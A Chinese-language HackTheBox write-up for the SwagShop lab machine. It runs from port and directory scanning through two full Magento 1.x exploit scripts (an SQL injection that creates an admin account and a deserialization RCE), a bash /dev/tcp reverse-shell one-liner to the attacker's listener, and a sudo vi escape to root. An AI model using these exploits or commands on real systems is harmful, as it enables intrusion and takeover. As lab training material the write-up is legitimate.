HTB SwagShop writeup(一个框架两个洞,sudo提权常使用)

HTB SwagShop writeup

大佬请忽略!

SwagShop攻击要点:

★ sudo提权

nmap

bash 复制代码
└─$ nmap -p- -sCV --min-rate 1000 10.10.10.140
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-10 15:18 CST
Nmap scan report for 10.10.10.140
Host is up (0.21s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Did not follow redirect to http://swagshop.htb/
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.43 seconds

由nmap扫描可知,靶机开放ssh服务22端口、HTTP服务80端口,域名信息swagshop.htb,操作系统Ubuntu。将域名维护到/etc/hosts文件,目录和文件枚举,公开漏洞收集。

bash 复制代码
echo 10.10.10.140  swagshop.htb | sudo tee -a /etc/hosts

HTTP

2014 magento version web版本可能是Magento CE 1.9.x

ffuf子域名爆破
bash 复制代码
└─$ ffuf -u http://swagshop.htb/ -H "Host: FUZZ.swagshop.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -fw 1

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://swagshop.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.swagshop.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

:: Progress: [114441/114441] :: Job [1/1] :: 77 req/sec :: Duration: [0:26:28] :: Errors: 0 ::

没有收集到子域名信息。

gobuster目录文件爆破
bash 复制代码
└─$ gobuster dir -u http://swagshop.htb/ -t 100 -o gobuster.log --no-error -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://swagshop.htb/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/media                (Status: 301) [Size: 312] [--> http://swagshop.htb/media/]
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 16593]
/includes             (Status: 301) [Size: 315] [--> http://swagshop.htb/includes/]
/lib                  (Status: 301) [Size: 310] [--> http://swagshop.htb/lib/]
/install.php          (Status: 200) [Size: 44]
/app                  (Status: 301) [Size: 310] [--> http://swagshop.htb/app/]
/js                   (Status: 301) [Size: 309] [--> http://swagshop.htb/js/]
/api.php              (Status: 200) [Size: 37]
/shell                (Status: 301) [Size: 312] [--> http://swagshop.htb/shell/]
/skin                 (Status: 301) [Size: 311] [--> http://swagshop.htb/skin/]
/cron.php             (Status: 200) [Size: 0]
/LICENSE.html         (Status: 200) [Size: 10679]
/LICENSE.txt          (Status: 200) [Size: 10410]
/var                  (Status: 301) [Size: 310] [--> http://swagshop.htb/var/]
/errors               (Status: 301) [Size: 313] [--> http://swagshop.htb/errors/]
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/mage                 (Status: 200) [Size: 1319]
/server-status        (Status: 403) [Size: 277]
Progress: 882236 / 882240 (100.00%)
===============================================================
Finished
===============================================================

shell as www-data

bash 复制代码
└─$ searchsploit Magento
------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------- ---------------------------------
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection                               | php/webapps/38573.txt
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service)    | php/webapps/38651.txt
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site S | php/webapps/32808.txt
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross- | php/webapps/32809.txt
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting                                  | php/webapps/32810.txt
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File                             | php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution                               | php/webapps/37811.py
Magento eCommerce - Local File Disclosure                                                  | php/webapps/19793.txt
Magento eCommerce - Remote Code Execution                                                  | xml/webapps/37977.py
Magento eCommerce CE v2.3.5-p2 - Blind SQLi                                                | php/webapps/50896.txt
Magento Server MAGMI Plugin - Multiple Vulnerabilities                                     | php/webapps/35996.txt
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion                                | php/webapps/35052.txt
Magento ver. 2.4.6 - XSLT Server Side Injection                                            | multiple/webapps/51847.txt
Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass               | php/webapps/48135.php
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

有个RCE利用脚本,是2015年编写的。

bash 复制代码
└─$ cat 37977.py
import requests
import base64
import sys

target = "http://swagshop.htb/"

if not target.startswith("http"):
    target = "http://" + target

if target.endswith("/"):
    target = target[:-1]

target_url = target + "/index.php/admin/Cms_Wysiwyg/directive/index/"

q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""


query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
                  data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
                        "filter": base64.b64encode(pfilter),
                        "forwarded": 1})
if r.ok:
    print "WORKED"
    print "Check {0}/admin with creds forme:forme".format(target)
else:
    print "DID NOT WORK"

执行37977.py创建管理员用户forme:forme。

bash 复制代码
└─$ python2 37977.py
WORKED
Check http://swagshop.htb/admin with creds forme:forme

Magento ver. 1.9.0.0 exploit

bash 复制代码
└─$ git clone https://github.com/Hackhoven/Magento-RCE.git
Cloning into 'Magento-RCE'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 9 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (9/9), 5.06 KiB | 2.53 MiB/s, done.
bash 复制代码
└─$ cat magento-rce-exploit.py
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Contributor: Hackhoven
# Github repository: https://github.com/Hackhoven/Magento-RCE

from hashlib import md5
import sys
import re
import base64
import mechanize

def usage():
    sys.exit()

if len(sys.argv) != 3:
    usage()

target = sys.argv[1]
arg = sys.argv[2]

# CREDS YOU'VE AUTHENTICATED WITH
username = 'forme'    # CHANGE THIS
password = 'forme'    # CHANGE THIS
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml, you can grab with 'curl -s http://localhost:5000/app/etc/local.xml | grep date'

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                     len(arg), arg)
br = mechanize.Browser()
br.set_handle_robots(False)

request = br.open(target)

# Print out the forms and controls for debugging
for form in br.forms():
    print("Form name:", form.name)
    for control in form.controls:
        print("Control name:", control.name)

# Select the form specifically by its action or name if known
form_found = False
for form in br.forms():
    if 'login[username]' in form:
        br.form = form
        form_found = True
        break

if not form_found:
    print("Login form not found!")
    sys.exit()

# Select the specific control by index if necessary
control_username = None
control_password = None

for control in br.form.controls:
    if control.name == 'login[username]':
        control_username = control
    if control.name == 'login[password]':
        control_password = control

if control_username is None or control_password is None:
    print("Required form controls not found!")
    sys.exit()

control_username.value = username
control_password.value = password

br.method = "POST"
request = br.submit()
content = request.read()

url = re.search(r"ajaxBlockUrl = \'(.*)\'", content)
if url:
    url = url.group(1)
else:
    print("Failed to find ajaxBlockUrl")
    sys.exit()

key = re.search(r"var FORM_KEY = '(.*)'", content)
if key:
    key = key.group(1)
else:
    print("Failed to find FORM_KEY")
    sys.exit()

request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search(r'src=\"(.*)\?ga=', request.read().decode())
if tunnel:
    tunnel = tunnel.group(1)
else:
    print("Failed to find tunnel URL")
    sys.exit()

payload = base64.b64encode(payload.encode()).decode()
gh = md5((payload + install_date).encode()).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh

try:
    request = br.open(exploit)
    print(request.read().decode())
except (mechanize.HTTPError, mechanize.URLError) as e:
    print(e.read().decode())
bash 复制代码
└─$ python magento-rce-exploit.py http://swagshop.htb/index.php/admin/ id
('Form name:', None)
('Control name:', u'form_key')
('Control name:', u'login[username]')
('Control name:', u'dummy')
('Control name:', u'login[password]')
('Control name:', None)
uid=33(www-data) gid=33(www-data) groups=33(www-data)

reverse shell

bash 复制代码
bash -c "bash -i >& /dev/tcp/10.10.16.14/9001 0>&1"

升级全交互式shell。

bash 复制代码
www-data@swagshop:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@swagshop:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 9001

└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 9001
                               export TERM=xterm
www-data@swagshop:/var/www/html$ stty rows 29 columns 119

shell as root

系统用户

bash 复制代码
www-data@swagshop:/var/www/html$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
haris:x:1000:1000:haris,,,:/home/haris:/bin/bash
bash 复制代码
www-data@swagshop:/var/www/html$ cd /home/haris/
www-data@swagshop:/home/haris$ ls -la
total 36
drwxr-xr-x 4 haris haris 4096 Oct 16  2023 .
drwxr-xr-x 3 root  root  4096 Nov 12  2021 ..
-rw------- 1 haris haris   54 May  2  2019 .Xauthority
lrwxrwxrwx 1 root  root     9 May  8  2019 .bash_history -> /dev/null
-rw-r--r-- 1 haris haris  220 May  2  2019 .bash_logout
-rw-r--r-- 1 haris haris 3771 May  2  2019 .bashrc
drwx------ 2 haris haris 4096 Nov 12  2021 .cache
drwx------ 3 haris haris 4096 Oct 13  2023 .gnupg
lrwxrwxrwx 1 root  root     9 Oct 10  2023 .mysql_history -> /dev/null
-rw-r--r-- 1 haris haris  655 May  2  2019 .profile
-rw-r--r-- 1 haris haris   33 Nov 10 01:47 user.txt
www-data@swagshop:/home/haris$ wc -c user.txt
33 user.txt

sudo -l

通过配置 /etc/sudoers,允许普通用户以超级用户(或其他用户)身份执行特定命令,利用 sudo 临时切换权限运行。

bash 复制代码
www-data@swagshop:/var/www/html$ sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*
bash 复制代码
www-data@swagshop:/home/haris$ sudo /usr/bin/vi /var/www/html/* -c ':!/bin/bash'
24 files to edit

root@swagshop:/home/haris# id
uid=0(root) gid=0(root) groups=0(root)
相关推荐
墨云安全5 天前
系统安全检测方案怎么写?从资产清点到复测闭环的技术框架
安全·网络安全·渗透测试·系统安全
文章永久免费只为良心9 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
墨云安全10 天前
AI 漏洞挖掘平台怎么评估?2026 年技术架构与选型要点
网络·人工智能·网络安全·架构·渗透测试
墨云安全10 天前
自动化渗透测试工具有哪些?2026 年引擎原理、任务编排与误报抑制实践
git·测试工具·网络安全·渗透测试·自动化
墨云安全11 天前
自动化安全测试工具的技术架构、集成方式与任务编排(2026 年实践)
人工智能·网络安全·渗透测试
墨云安全11 天前
AI 渗透测试是怎么实现的?2026 年大模型驱动测试用例生成的工程拆解
网络·人工智能·网络安全·渗透测试·测试用例
墨云安全11 天前
内网资产无法暴露到公网,怎么做安全检测?2026 年内网渗透测试的落地路径
开发语言·安全·网络安全·渗透测试·php
墨云安全14 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
白猫不黑18 天前
AI自动化漏洞挖掘从入门到进阶超详细学习路线
人工智能·学习·web安全·网络安全·信息安全·渗透测试·自动化
Eason_LYC22 天前
一个公开密钥放倒一片:Apache Shiro RememberMe 反序列化漏洞
java·网络安全·渗透测试·shiro·漏洞复现·反序列化·ai安全